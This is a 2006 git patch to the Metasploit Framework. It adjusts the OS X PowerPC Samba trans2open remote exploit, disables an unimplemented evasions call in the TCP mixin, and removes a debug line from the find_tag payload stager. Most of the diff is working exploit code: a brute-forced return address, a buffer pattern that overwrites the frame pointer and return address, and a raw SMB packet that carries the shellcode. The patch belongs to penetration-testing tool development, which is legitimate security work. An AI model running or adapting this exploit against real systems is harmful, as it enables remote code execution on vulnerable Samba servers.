From 868d7bf561467acc70e1226ca3f12171ae1c4529 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 4 Feb 2006 21:04:50 +0000 Subject: [PATCH] Working findtag + samba Removed call to evasions that didnt have corresponding definition git-svn-id: file:///home/svn/incoming/trunk@3501 4d416f70-5f16-0410-b530-b9f4589650da --- lib/msf/core/exploit/tcp.rb | 3 ++- modules/exploits/osx/samba/trans2open.rb | 19 ++++++++++--------- modules/payloads/stagers/osx/ppc/find_tag.rb | 1 - 3 files changed, 12 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index 4fa031c445..e59a4de0dc 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -94,7 +94,8 @@ module Exploit::Remote::Tcp }) # enable evasions on this socket - evasions(nsock) + # XXX implement evasions!!!! + # evasions(nsock) # Set this socket to the global socket as necessary self.sock = nsock if (global) diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb index 958485751f..0996123af2 100644 --- a/modules/exploits/osx/samba/trans2open.rb +++ b/modules/exploits/osx/samba/trans2open.rb @@ -36,7 +36,7 @@ class Exploits::Osx::Samba::Trans2Open < Msf::Exploit::Remote 'Arch' => ARCH_PPC, 'Targets' => [ - ['Stack Brute Force', { 'Rets' => [0xbffff3fc, 0xbfa00000, 512] } ], + ['Stack Brute Force', { 'Rets' => [0xbffffdfc, 0xbfa00000, 512] } ], ], 'DisclosureDate' => 'Apr 7 2003', @@ -62,19 +62,19 @@ class Exploits::Osx::Samba::Trans2Open < Msf::Exploit::Remote pattern = Rex::Text.rand_text_english(1988) # This stream covers the framepointer and the return address - pattern[1195, 64] = [curr_ret].pack('N') * 8 + pattern[1195, 64] = [curr_ret].pack('N') * 16 # Stuff the shellcode into the request pattern[3, payload.encoded.length] = payload.encoded trans = - "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+ - "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+ - pattern + "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+ + "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+ + pattern sock.put(trans) handler @@ -82,6 +82,7 @@ class Exploits::Osx::Samba::Trans2Open < Msf::Exploit::Remote rescue EOFError rescue => e + print_status("Caught exception: #{e.to_s}") break end curr_ret -= target['Rets'][2] diff --git a/modules/payloads/stagers/osx/ppc/find_tag.rb b/modules/payloads/stagers/osx/ppc/find_tag.rb index e2edcb91c3..98a112f3c4 100644 --- a/modules/payloads/stagers/osx/ppc/find_tag.rb +++ b/modules/payloads/stagers/osx/ppc/find_tag.rb @@ -50,7 +50,6 @@ module FindTag # def replace_var(raw, name, offset, pack) if (name == 'TAG') - $stderr.puts "Replacing #{offset.to_s} " + raw[offset,2].unpack("H*")[0] raw[offset, 2] = datastore[name][0,2] return true end